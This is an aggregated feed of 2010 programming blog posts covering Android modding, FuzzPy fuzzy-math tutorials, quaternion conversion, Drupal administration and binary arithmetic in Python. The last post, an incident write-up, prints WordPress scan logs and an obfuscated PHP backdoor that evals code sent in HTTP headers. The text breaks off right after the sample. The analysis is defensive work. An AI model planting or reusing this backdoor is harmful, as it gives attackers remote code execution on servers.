One other confusing bit was about the recovery image. I wasn't able to replace recovery.img with Amon Ra. If I'd used adb I probably could have figured that out. The new user on the phone probably won't be swapping firmware a lot so I think the unmaintained CyanogenMod recovery image will be okay. The recovery image is the software that puts up the screen shown when the phone is booted into fastboot (holding down back & power on my phone). The recovery image is what I used to install other firmware from the SD card (like the Google apps and new kernel).

After modding the phone it booted up fine and looked okay but had a slight green shade to everything. This is apparently a known issue and a current workaround is to update the kernel, there's a build for the Magic 32B linked to from this post.

So that's my addendum to what's already out there; don't take it as a guide or advice. I did all this using only stuff I found on the web - while I do work for Google, I don't work on Android.

Export Google Chrome passwords to Keepass

2011-01-01T18:52:29+00:00

I have recently been complementing the power of Keepass with Dropbox, which allows me to share and access my logins and passwords anywhere with an internet connection while still storing them in a secure manner. Thanks to the KeepassDroid application, this even includes my phone.

Since I began using Keepass, I have been looking for a way to import those pesky web application passwords into Keepass. Since I have a different login and password for essentially every site I visit, managing and remembering these has been a huge problem in the past. With multiple hundreds of unique login/password combinations, doing this by hand was not an option. This morning the problem came to a head and I decided to do something about it.

Since Keepass allows importation from it’s own XML format, the building blocks for an export/import were already there. I have been learning Ruby lately, so I decided I would whip up a quick script to export my Chrome passwords.

After a bit of hacking, I finished chrome2keepass this morning and you can find it at its Github Repository.

Nexus S

2010-12-20T13:00:00+00:00

Lucky me, I got a Nexus S on Friday. Very nice upgrade from my previous phone, absolutely loving the speed and playing with all the toys. I was surprised it didn't have a microSD slot but I've never used more than a couple GB and the Nexus S does have 16GB storage so it's not likely to be a problem. So far I've used the front-facing camera for a quick self-portrait and the regular (rear-facing) one just once.

I've blown a lot of time the past couple days on Angry Birds and a few other games on the phone. Really looking forward to seeing Dungeon Defenders come out next week. I heard the phrase "tower defense online role-playing game" in the preview video. Maybe I can play it on the flight to Windsor. If it really does need the 400MB they claim then I could fill up that storage space before the phone gets old.

The portable WiFi hotspot came in handy at the coffee shop. They offer WiFi but it's unsecured. So instead of using coffee shop WiFi, I shared my phone's data connection using the portable WiFi hotspot and WPA2 for a secure connection. Of course that means my data goes over 3G and I'm relying on whatever security model 3G uses but it's a step up from open WiFi. Maybe tethering would have worked as well but WiFi is easier to set up and understand for me.

I'm also curious about the NFC reader in the Nexus S and whether it's possible to get a hold of some NFC tags somewhere. As I understand it, NFC tags should be small and easy to embed in stickers & posters. I'm hoping they can also be found for cheap soon at Frye's or Think Geek. Of course I expect NFC support to show up any day in the Android Tricorder.

Thinking about Syntax

2010-12-19T06:51:36+00:00

XML is a nice syntax for some kinds of data. It's also a nice specific set of rules for data exchange between heterogeneous systems. But XML needs to be customized to the type of data that you're using it for. It serves as a wrapper around some other data. And once you get the characters of that data out, you still have some other rules to interpret it.

Let me give a concrete example. In SVG you have path elements. The path has a d attribute. The value of the d attribute is a string of text. The encoding rules for that text are all clearly defined by XML so that disparate computer systems can set and get the value unambiguously. But once you get the value of the d attribute, you have to interpret it according to the rules of the SVG specification. The d attribute describes a path using characters that signify movement of a pen in arcs and lines. Could this have been more XML-y? Sure. The SVG WG could have (and people have suggested) used a syntax where each subpath is an element so the lines (m, l, v, h, etc) become XML elements themselves.

Another concrete example is the meaning of the title element in an RSS feed. The content could be pretty wide open, but the rules for what can go in there are up to RSS, not XML.

So what am I getting at? Just nested syntax I guess. Nesting syntax allows us to do things like mix Javascript with HTML and still figure out what a browser should do with the resulting compound document. SQL statements have been nested in strings of C++ programs forever, and there are plenty of other examples of parser A handing off some stuff to parser B. When we nest syntax B in syntax A this way we're using a set of rules to package up some text written in one language using a construct of another language. So strings in C++ can be any text and guess what, all of SQL is text. So that works.

I think I'll stick to talking about SQL in C++ since it's less likely to spark religious wars. But the concepts apply to any other syntax B packed up in a construct from syntax A.

Problems come up really quick when statement B (written in syntax B) happens across some disallowed construct from syntax A. Suppose you want to search for text that has a quote (") in it using an SQL statement in your C++ code. "Escape it!" You all shout in unison. Well, almost all of you. That one guy smirking in the back is thinking "C++ sucks. If this were Javascript I could use single quotes around the outer statement and a quote character would be fine." Thing is, there are only a handful of approaches to strings.
1. Out of band character. The " or ' that delimits the text. Using the oob character in the string requires escaping.
2. Start/end sequence. Like <![CDATA[]]> (bet that one gets munged by your feed reader). In this case, sometimes there's just no allowance for using the sequence in a string, instead you need to make two strings.
3. String plus length. Length, like in bytes. And omfg we can't count bytes! So I don't know of modern languages that let you approach setting that number yourself, though there are languages that use it internally for string representation.

I don't think we've tried option 3 enough. Maybe it's because I'm not afraid of binary, hex editors, and things that aren't text. But if I remember right (and I'm not going to look this up in case I'm wrong - that would spoil my point) this is closer to what useful network stacks do. A TCP packet has a field for the length of the IP packet it's delivering. This speeds up operations for any points that speak TCP between the sender and the final receiver since the data bytes don't need to be read one-by-one looking for oob characters but it also means there's no ambiguity about whether the payload data is escaped properly. Since the TCP layer doesn't read the content that also reduces the potential for bugs in processing escaped data (and also surface area for exploits).

Say we have statement B in syntax B which contains statement A in syntax A. Instead of treating anything written in syntax A as an arbitrary chunk of text, maybe statement A is a wrapped up foreign syntax package - with the network stack analogy syntax A is IP and syntax B is TCP. That foreign syntax package would be treated as binary and stored as some data at an offset with a given length in bytes. The syntax B parser then passes the foreign syntax package as binary with it's length to the syntax A parser. In the earlier example, syntax A is SQL and syntax B is C++. In general we could be talking about a Javascript VM, database engine, or whatever little parser figures out the content of the d attribute from that SVG file.

Local(-ish) Startup Activity

2010-11-04T05:20:00+00:00

It seems that the Windsor/Metro Detroit area is finally getting some startup assistance love.

No great incubator yet, but we do have a few upcoming events in the area:

Windsor Startup Drinks will be taking place next week, November 10th, in downtown Windsor. It seems to be hosted by the Softech Alliance and SIFE Windsor.
Detroit Startup Weekend will be held at TechTown at my alma mater, Wayne State University, next weekend (November 12th-14th, 2010).

This is a great chance for local startup-minded people to network and, as I like to say, increase their geek circle. If you are one of these people, get out there and get involved.

Fuzzy Mathematics with FuzzPy (Part 2)

2010-11-03T13:00:24+00:00

In the first part of this post, we explored the foundations of fuzzy sets and fuzzy graphs, and discussed how you can use FuzzPy, a general fuzzy mathematics library for python, to work with these types. Today, we will expand a bit on those foundations by learning about fuzzy numbers, and creating visualizations with FuzzPy.

Fuzzy Numbers

Think of a fuzzy number as a number whose actual value is uncertain. We do not have its value, but we have a set of estimations, each with an associated degree of likelihood, or grade. If you remember the definition of a fuzzy set, you will remember that the structure of a fuzzy set is very similar to what I just described, so it only makes sense to use a fuzzy set to represent what is known about a fuzzy number.

Effectively, a fuzzy number is a fuzzy subset of the real line , where the value of each member of the set is an estimated value of the fuzzy number, and the -value of the member is its grade.

Triangular Fuzzy Number

One can represent the estimated values as well as their associated -values in the form of a Cartesian coordinate system, with the Y-axis representing -values, and the X-axis representing estimated values.
We can then see that certain patterns emerge in the shape of the visualization, and these patterns are used to distinguish between the different types of fuzzy numbers:

Polygonal sets are represented by an arbitrary set of segments on the plane.
Trapezoidal sets contain two kernels (estimations whose -value is exactly 1.0), and two X-intercepts.
Triangular sets contain exactly one kernel, and two X-intercepts
Gaussian sets have -values determined by a normal distribution, thus providing a smoother distribution.

There are a few additional types as well, but these are the four basic types, and are all supported out of the box by FuzzPy.

Because the points of interest in each type are different, instanciating a new FuzzyNumber in FuzzPy is done differently depending on the type. Let’s instantiate objects for each of these types using FuzzPy, and we’ll play a bit with these objects in a moment. Make sure you have FuzzPy installed first (easy_install -U fuzzpy) and save the following code in fuzzynums.py:

import fuzz
 
# Instantiating a PolynomialFuzzyNumber is done by providing
# a list of (value, mu) tuple to the constructor:
polygonal = [fuzz.PolygonalFuzzyNumber([(0.0, 0.0), \
    (0.25, 1.0), (1.0, 0.5), (1.3, 1.0), (1.8, 0.0)])]
 
polygonal += [fuzz.PolygonalFuzzyNumber([(0.0, 0.0), \
    (1.0, 0.5), (3.0, 1.0), (4.0, 1.0), (6.0, 0.0)])]
 
# A trapezoidal needs to be given a tuple containing the values
# of the kernels (mu = 1.0) and a tuple containing the values
# of the support (mu = 0.0)
trapezoidal = [fuzz.TrapezoidalFuzzyNumber((1.0, 2.0), \
    (0.3, 3.0))]
 
trapezoidal += [fuzz.TrapezoidalFuzzyNumber((1.0, 6.0), \
    (0.5, 10.0))]
 
# A triangular set needs to be provided the value of the
# kernel, and a tuple containing the values of the support.
triangular = [fuzz.TriangularFuzzyNumber(1.0, (0.0, 3.0))]
triangular += [fuzz.TriangularFuzzyNumber(4.0, (0.0, 4.5))]
 
# Gaussian fuzzy sets simply need the mean, and standard
# derivation for the estimated value.
gaussian = [fuzz.GaussianFuzzyNumber(1.0, 0.2)]
gaussian += [fuzz.GaussianFuzzyNumber(12.0, 1.0)]

We can now fire up the python interpreter and work with our objects:

>>> # Polygonal Union:
... print polygonal[0] | polygonal[1]
PolygonalFuzzyNumber: kernel [(0.25, 0.25), (1.3, 1.3), \
(3.0, 4.0)], support [(0.0, 6.0)]
 
>>> # Polygonal Intersection:
... print polygonal[0] & polygonal[1]
PolygonalFuzzyNumber: kernel [], support [(0.0, 6.0)]
 
>>> # Trapezoidal Addition:
... print trapezoidal[0] + trapezoidal[1]
TrapezoidalFuzzyNumber: kernel (2.0, 8.0), support (0.8000000\
0000000004, 13.0)
 
>>> # Gaussian Addition
... print gaussian[0] + gaussian[1]
GaussianFuzzyNumber: kernel (13.0, 13.0), support (4.85663149\
07018668, 21.143368509298135)

The class inheritance chain for FuzzPy’s FuzzyNumber derived classes looks like this:

Fuzzy Number Class Inheritance

Visualizations

FuzzPy ships with a small visualization framework that is able to create visualizations for almost all FuzzPy types, and encode them in a variety of formats. In most cases, creating and storing a visualization is a trivial operation:

from fuzzynums import *
from fuzz.visualization import VisManager
 
gaussian = fuzz.GaussianFuzzyNumber(1.0, 0.2)
plugin = VisManager.create_backend(gaussian)
(vis_format, vis_data) = plugin.visualize()
 
with (open("visualization.%s" % vis_format, "wb")) as fp:
    fp.write(vis_data)

In this example, we passed our FuzzyNumber instance to the VisManager.create_backend() method, which is a plugin factory method, and it returned the first plugin it could find that can be used to create a visualization of our FuzzyNumber.

The plugin’s visualize() method was called, and returned a tuple containing the file format of the visualization, and its payload. We then created a file using the returned format as extension, and stored the payload in that file.

You can also force the VisManager object to use a certain plugin if you do not want to rely on the default plugin picked for the type of object to visualize:

plugin = VisManager.create_backend(gaussian, 'num_gnuplot')

Similarly, a plugin’s visualize() method can accept arguments to customize the final output. For example, the following code would tell the plugin to use the ‘gif’ image format:

(vis_format, vis_data) = plugin.visualize(format="gif")

You will need to have Graphviz installed for graph visualizations, and Gnuplot for fuzzy number visualizations.

Now that you know how to use all the FuzzPy types and how to create visualizations for your data, you can start using FuzzPy in your own project, or get involved in the development process. Check out the project’s GitHub page for more information.

Fuzzy Digraph Visualization

Polygonal Fuzzy Number

Rise of the Quaternions

2010-10-19T01:12:50+00:00

Adolphus finally quit messing around and started using a quaternion representation for rotations internally! The quaternion class itself is simple, and conversion to and from rotation matrix and axis-angle representations is fairly straightforward. The magic happens in converting from Euler angles — all twelve valid conventions!

By solving the conversion to quaternion for all twelve possibilities, I managed to squeeze out a pattern that allows me to solve them with a near-minimum of redundant code:

    @staticmethod
    def from_euler(convention, angles):
        def qterm(index):
            bin = lambda x: [(x >> 2) % 2, (x >> 1) % 2, x % 2]
            return copysign(1, index) * reduce(lambda a, b: a * b,
                [(bit and sin or cos)(angles[i] / 2.0) \
                for i, bit in enumerate(bin(abs(index)))])
        # TODO: can these be generated from the convention?
        eulerquat = {'xyx': [0, -5, 1, 4, 2, 7, 3, -6],
                     'xyz': [0, -7, 1, 6, 2, -5, 3, 4],
                     'xzx': [0, -5, 1, 4, -3, 6, 2, 7],
                     'xzy': [0, 7, 1, -6, -3, 4, 2, 5],
                     'yxy': [0, -5, 2, 7, 1, 4, -3, 6],
                     'yxz': [0, 7, 2, 5, 1, -6, -3, 4],
                     'yzx': [0, -7, 3, 4, 1, 6, 2, -5],
                     'yzy': [0, -5, 3, -6, 1, 4, 2, 7],
                     'zxy': [0, -7, 2, -5, 3, 4, 1, 6],
                     'zxz': [0, -5, 2, 7, 3, -6, 1, 4],
                     'zyx': [0, 7, -3, 4, 2, 5, 1, -6],
                     'zyz': [0, -5, -3, 6, 2, 7, 1, 4]}
        a, b, c, d = [sum([qterm(eulerquat[convention][i + j * 2]) \
                      for i in range(2)]) for j in range(4)]
        if a > 0:
            return Quaternion(a, -b, -c, -d)
        else:
            return Quaternion(-a, b, c, d)

Now, those hard-coded sequences of numbers? I am sure there is some relationship between the patterns and the conventions that would allow a more concise translation from one to the other. Note that, for a sequence [a, b, c, d, e, f, g, h], any or all of the pairs (a, b), (c, d), (e, f), and (g, h) can be swapped without changing anything (for example, the sequence for zyx could just as easily be [0, 7, 4, -3, 2, 5, -6, 1]). This has the unfortunate effect of making finding a pattern more difficult.

There are a number of tantalizing clues. The first number is always 0. The second is always -5 when two of the rotations are about the same axis, -7 when they are all different and in (rotated) xyz order, and 7 when they are all different and in zyx order. The 1 is always positive and appears in the second pair when the first axis is x, the pair when y, and the fourth when z. And so on.

I wonder if anyone else has figured out something similar? Adolphus wants a 9-line conversion function for its birthday.

Fuzzy Mathematics with FuzzPy (Part 1)

2010-10-17T22:43:15+00:00

FuzzPy is a python library that exposes specialized datatypes to deal with a wide range of fuzzy number types, fuzzy sets, and fuzzy graphs. Binary operations against each type, such as set unions and intersections, can be performed using some of python’s native binary operators (|, &, ==), or specialized methods if you wish to deviate from the default functions for these computations.

FuzzPy also provides several helper methods such as kernel and neighbors isolation, alpha-cuts, cardinality testing, shortest-path computation, and minimum spanning trees. A powerful visualization framework also allows you to quickly create and save visualizations for your data.

In this post, we will examine fuzzy sets and fuzzy graphs, and see how one can use FuzzPy to work with these types, providing examples for each. In the next post of this series, we will examine the different types of fuzzy numbers, generate visualizations, and explore advanced concepts such as automatic fuzzification, and importing graph data from fuzzy adjacency matrices.

Fuzzy Sets

A fuzzy set is simply a set in which each element has an associated degree of membership into the set. This membership value is called -value of the element. A -value of zero indicates that the element does not belong to the set, while any value between zero (exclusive) and one (inclusive), indicates that the element is, to a certain degree, a set member.

Creating a fuzzy set with FuzzPy is just a matter of creating a new FuzzySet object, then either calling the add(FuzzyElement(value, mu)) method for each element to import, or using the update(elements) method, providing it with a list of FuzzyElement(value, -value) tuples for bulk import.

from fuzz import FuzzySet, FuzzyElement
 
# Create two lists of FuzzyElements
elements_a = [(1, 0.3), (2, 0.5), (3, 0.7), (4, 0.9)]
elements_b = [(3, 0.8), (6, 0.6), (1, 0.4), (8, 0.2)]
 
elements_a = [FuzzyElement(x[0], x[1]) for x in elements_a]
elements_b = [FuzzyElement(x[0], x[1]) for x in elements_b]
 
# Create two fuzzy sets
set_a = FuzzySet()
set_b = FuzzySet()
 
set_a.update(elements_a)
set_b.update(elements_b)

We’ve just created a couple fuzzy sets with four elements each. Notice that two of the elements are common to both set_a and set_b (albeit with different -values). We can now perform several operations against these sample sets. Save the code above in a file called example.py and fire up the python interpreter to test fuzzy set functionality against our sets:

>>> from example import *
>>> # Set Difference
...
>>> set_a - set_b
FuzzySet([FuzzyElement(2, 0.500000), FuzzyElement(4, 0.900000)])
>>> set_b - set_a
FuzzySet([FuzzyElement(8, 0.200000), FuzzyElement(6, 0.600000)])
# Set Union
...
>>> set_a | set_b
FuzzySet([FuzzyElement(1, 0.400000), FuzzyElement(2, 0.500000), FuzzyElement(3, 0.800000), FuzzyElement(4, 0.900000), FuzzyElement(6, 0.600000), FuzzyElement(8, 0.200000)])
# Set Intersection
...
>>> set_a & set_b
FuzzySet([FuzzyElement(1, 0.300000), FuzzyElement(3, 0.700000)])

Fuzzy graphs

In a fuzzy graph or digraph, each vertice and each edge can be associated with a -value. The -value of a vertice indicates the vertice’s degree of membership into the graph, while an edge or arc’s -value indicates the degree of connectivity between the head and tail vertices.

The creation of fuzzy graphs is also pretty straightforward: create a set or fuzzy set (see above), then feed that set to the fuzz.Graph constructor, along with the directed boolean value to specify whether you’d like to create a graph or a digraph. You can then use the fuzz.Graph.connect(head, tail, mu) method to add edges to the graph:

import fuzz
 
# Create two sets of vertices
set_a = set([1, 2, 3, 4, 5, 6, 7, 8, 9, 10])
set_b = set([11, 12, 13, 14, 15, 16, 17, 18, 19, 20])
 
# Create our graph objects
graph_a = fuzz.FuzzyGraph(viter=set_a, directed=False)
graph_b = fuzz.FuzzyGraph(viter=set_b, directed=True)
 
# Create some arcs in graph_a
graph_a.connect(1, 3, 0.5)
graph_a.connect(3, 6, 0.06)
graph_a.connect(2, 8, 0.2)
graph_a.connect(4, 1, 0.9)
 
# And some in graph_b
graph_b.connect(11, 19, 0.9)
graph_b.connect(14, 12, 0.3)
graph_b.connect(15, 14, 0.5)

Save the code above in a file named graphs.py and fire up your python interpreter so we can experiment with graph operations:

>>> from graphs import *
>>> # Retrieve the mu value of the edge between 1 and 3
... 
>>> graph_a.mu(3, 1)
0.5
>>> # Retrieve an alpha-cut of graph_b against mu-value of 0.5
... 
>>> graph_b.alpha(0.5)
Graph(viter = set([11, 12, 13, 14, 15, 16, 17, 18, 19, 20]), eiter = set([(15, 14), (11, 19)]), directed = True)
>>> # Is graph_a a subgraph of graph_b? (no)
... graph_a.issubgraph(graph_b)
False
>>> # Detect adjacent (connected) vertices
...
>>> graph_a.adjacent(1, 2)
False
>>> graph_a.adjacent(1, 3)
True
>>> # Find all the neighbours of the vertex with value 3
... 
>>> graph_a.neighbors(3)
set([1, 6])
>>> # Find the shortest path to all vertices using 6 as origin
... 
>>> graph_a.dijkstra(6)
{1: 3, 2: None, 3: 6, 4: 1, 5: None, 6: None, 7: None, 8: None, 9: None, 10: None}
>>> # Find the minimum spanning tree of graph_a
... 
>>> graph_a.minimum_spanning_tree()
Graph(viter = set([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]), eiter = set([(2, 8), (1, 3), (4, 1), (3, 6)]), directed = False)

There are a few more operations available for both crisp and fuzzy graphs/digraphs. You should consult the API doc for a comprehensive list.

You should also consult the examples provided as part of the module on GitHub to see FuzzPy in action.

SandMines Graphics coming along

2010-09-12T07:13:40+00:00

My gui is coming along, and I'd thought I'd snap some screenshots of things I've made so far.

The url http://images.sandmines.org is a directory containing some images of my current apps.

gridit is basically a simple icon editing tool I made. This is the first thing I wrote to allow myself to make simple images for things like the fileselect dialog.

ircit is my irc client. Its really basic right now, but it does function. I've been using this as my client for a couple months now, and the main reason I use it is to test the stability of SMG (since its running all the time).

drupal.wuug.org

2010-09-10T16:10:31+00:00

So things are largely set up on the server, just waiting for drupal.wuug.org to go live on the wuug nameservers (ns2.servertree.net is holding out for some reason). The git repository is set up at drupal.wuug.org:/srv/wuug/drupal/WUUG-Drupal-Project.git. The public-6 branch will automatically checkout into /srv/drupal-6/sites/drupal.wuug.org which is the root of the config space for drupal.wuug.org. This checkout is done with user credentials, so I hope I confgured the group permissions correctly. I really should test this with a nested checkout to see whether checked out directories have the appropriate permissions and group ownership. I am setting the umask in the git update hook so it only a matter of the group for newly created files and directories that may be off. I have set the setgid bit on the root directory, and all new users are getting wuug as their primary group, so the only potential snag is in checkouts from me! This is my first attempt at administration for multiple users, so I may have messed it up.

I only have two users so far! And no activity.

Drush is now back in the path and so executing something like

$drush --remote-host=drupal.wuug.org --root=/srv/drupal-6 --uri=http://drupal.wuug.org status

should now work properly (i.e. without fork bombing). Drush is the drupal shell and can be quite a bit faster to use than the web interface. I handed out the user/password combo at the last meeting but only Patrick was there so that didn't quite work as planned. I think I'll just post it in a text file on the server (accessible through ssh)

I have pre-installed a bunch of modules in sites/all/modules which may be activated at any time. Other modules should be installable with drush --- putting standard modules into the git repository is a bad idea. Will have to test this.

The git repository is gitweb browsable, but only through my free.draisey.ca web site. I will have to get do something wuug branded. Also I haven't yet set up anonymous git pulls. That should be easy though.

I think I'll try some theming. I'll use with the Zen theme as the basis.

drush and the server fork bomb

2010-08-26T04:03:39+00:00

Tags:

wuug

drush (the drupal shell) is a nice command line tool that I have installed on the server for the wuug drupal project. It has the nice ability to be able to work through a remote instance via ssh --- or so the documentation says --- in my case it fork bombed the server --- the OOM killer played havoc with my server and still failed to slow down the fork bomb. What a mess.

Algorithms in Python: Binary exponentiation

2010-08-08T03:10:01+00:00

The typical approach to exponentiation of a base b by an exponent n is to repeatedly multiply the base by itself, as such:

This is easy to compute for small values but quickly chokes with very large values.

A faster approach involves converting the exponent into base 2, then multiplying the running total and squaring the base each time a 1-bit is encountered. The python implementation looks like this:

def binary_exponent(base, exponent):
    """\
    Binary Exponentiation
 
    Instead of computing the exponentiation in the traditional way,
    convert the exponent to its reverse binary representation.
 
    Each time a 1-bit is encountered, we multiply the running total by
    the base, then square the base.
    """
    # Convert n to base 2, then reverse it.
    exponent = bin(exponent)[2:][::-1]
 
    result = 1
    for i in range(0, len(exponent)):
        if exponent[i] == '1':
            result *= base
        base *= base
    return result

Similarly, the same approach can be taken to perform modular exponentiation against very large exponents:

def modular_exponent(base, exponent, mod):
    """\
    Modular exponentiation through binary decomposition.
 
    We use the same technique as for the binary exponentiation above in
    order to find the modulo of our very large exponent and an arbitrary
    integer mod.
    """
    exponent = bin(exponent)[2:][::-1]
 
    x = 1
    power = base % mod
    for i in range(0, len(exponent)):
        if exponent[i] == '1':
            x = (x * power) % mod
        power = (power ** 2) % mod
    return x

The optimization is especially visible for the modulo operation, since we are working on smaller numbers with each iteration, whereas for simple exponentiation, the CPython interpreter can already optimize the operation.
The speedup for modular exponentiation on my system was in the order of 72x the speed of a simple whereas the the computation of the exponentiation took about the same time in both cases.

Algorithms in Python: Binary Operations

2010-07-17T19:08:22+00:00

Today I’d like to demonstrate a simple implementation of Kenneth Rosen‘s binary addition and multiplication algorithms as outlined in "Discrete Mathematics and its Applications". Both algorithms are very simple and work the same way we’ve all learned to do decimal additions and multiplications by hand in grade-school.

As usual, I’ve also provided a unit-test suite for each algorithm.

Please note: This is only intended to demonstrate the algorithms. If you are actually trying to do some real work with binary numbers in Python, note that the language itself provides a highly optimized implementation of binary numbers and related operations. Here are a few examples:

# Decimal to binary conversion:
>>> bin(15)
'0b1111'
 
# Binary to decimal conversion:
>>> str(0b1111)
'15'
 
# Binary addition:
>>> bin(0b1111 + 0b10011)
'0b100010'
 
# Binary multiplication:
>>> bin(0b1111 * 0b10011)
'0b100011101'

Binary Addition

We will use strings in this example to represent sequences of bits. The algorithm operates right-to-left, maintaining a carry each time it adds two 1-valued bits.

Code:

"""Simple binary operation algorithm."""
 
import math
 
# a and b should be string representation of the binary components
# You could easily extend this to overload the + operator for binaries,
# but this is already built into python.
def binary_addition(bin_a, bin_b):
    """Performs a binary addition against two provided binary numbers"""
 
    # Pad the components so they are of equal length
    max_length = max(len(bin_a), len(bin_b))
    bin_a, bin_b = bin_a.zfill(max_length), bin_b.zfill(max_length)
 
 
    carry = 0
    result = ''
 
    # Note that we work from right to left
    for i in range(0, max_length)[::-1]:
        tmp = int(math.floor((int(bin_a[i]) + int(bin_b[i]) + carry)/2))
        res = str(int(bin_a[i]) + int(bin_b[i]) + carry - 2*tmp)
        result += res
        carry = tmp
 
    result = (result + str(carry))[::-1]
    try:
        return result[result.index('1'):]
    except ValueError, ex:
        return '0'

Unit Test:

"""Unit test for binary_addition.py"""
 
import unittest
from binary_addition import binary_addition
 
class TestBinaryAddition(unittest.TestCase):
 
    """Comparing python binary addition against our own"""
 
    def test_add_same_length(self):
 
        """Adding 2 binary numbers of the same length"""
 
        bin_a = '001001101'
        bin_b = '011011010'
 
        self._compare_additions(bin_a, bin_b)
 
    def test_add_b_larger(self):
 
        """ B has more digits than A """
 
        bin_a = '01000101'
        bin_b = '1110010110101011101101011101000101'
 
        self._compare_additions(bin_a, bin_b)
 
    def test_add_b_smaller(self):
 
        """B has less digits than A"""
 
 
        bin_a = '1110001001001001001101101011000101'
        bin_b = '0110010'
 
        self._compare_additions(bin_a, bin_b)
 
    def _compare_additions(self, bin_a, bin_b):
 
        """Compares the python implementation against ours"""
 
        bin_add = binary_addition(bin_a, bin_b)
        py_add = bin(eval("0b%s" % bin_a) + eval("0b%s" % bin_b))
 
        algo_res = bin_add[bin_add.index('1'):]
        py_res = py_add[py_add.index('1'):]
 
        self.assertEqual(py_res, algo_res)
 
 
 
if '__main__' == __name__:
    unittest.main()

Binary Multiplication

We are still using strings to represent bit sequences. We are still working from right to left, shifting to the left every number from the first number that needs to be multiplied by 1 in the second number. We then append the result to a list that we sum at the end, using the previous algorithm.

Code:

"""Simple Binary multiplication algorithm"""
 
 
import sys
import os.path
 
from binary_addition import binary_addition
 
 
def binary_multiplication(bin_a, bin_b):
    """Multiplies two binary numbers by using python lists to
    easily shift digits around"""
 
    temp_result = []
    result = "0"
 
    # Remove any unnecessary padding
    bin_a = bin_a[bin_a.index('1'):]
    bin_b = bin_b[bin_b.index('1'):]
 
    for i in range(0, len(bin_b))[::-1]:
        if bin_b[i] == '1':
            temp_result.append("%s%s" % (bin_a, "0" * (len(bin_b)-i-1)))
        else:
            temp_result.append("0")
 
 
    for val in temp_result:
        result = binary_addition(str(result), str(val))
 
    return result

Unit Test:

"""Unit test for binary_addition.py"""
 
import unittest
from binary_multiplication import binary_multiplication
 
class TestBinaryAddition(unittest.TestCase):
 
    """Comparing python binary multiplication against our own"""
 
    def test_add_same_length(self):
 
        """Multiplying 2 binary numbers of the same length"""
 
        bin_a = '001001101'
        bin_b = '011011010'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def test_simple(self):
 
        """Multiplying 2 simple binary numbers"""
        bin_a = '110'
        bin_b = '101'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def test_add_b_larger(self):
 
        """B has more digits than A"""
 
        bin_a = '010'
        bin_b = '111001011000101'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def test_add_b_smaller(self):
 
        """ B has less digits than A """
 
        bin_a = '111001011000101'
        bin_b = '010'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def _compare_multiplications(self, bin_a, bin_b):
 
        """Compares the python implementation against ours"""
 
        bin_mult = binary_multiplication(bin_a, bin_b)
        py_mult = bin(eval("0b%s" % bin_a) * eval("0b%s" % bin_b))
 
        algo_res = bin_mult[bin_mult.index('1'):]
        py_res = py_mult[py_mult.index('1'):]
 
        self.assertEqual(py_res, algo_res)
 
 
 
if '__main__' == __name__:
    unittest.main()

Unobfuscating an Attack

2010-07-13T13:20:33+00:00

Having experienced some ‘weird’ traffic the other day, a client contacted me regarding this problem. One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:

access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /cms/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /wp-login.php HTTP/1.1" 404 2538 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog_old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog-old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:07 +0000] "GET /blog/wp/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Obviously, the IPs have been removed to protect the innocent. What we can see from this log output is that there is an obvious scan of hackable WordPress installations happening — and they look to come from our server.

After some further inspection of the server, it looks as if an ‘attacker’ uploaded a PHP file to their account and was now using it to scour the internet for hackable WordPress installs. A remote machine would send requests to a group of servers hosting this PHP file:

$_fcxxxcc="\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";
$_fcxxxcc("\x7c\x2e\x7c\x65","\x65\x76\x61\x6c\x28\x27\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7\x22\x29\x29\x3b\x27\x29",'.');

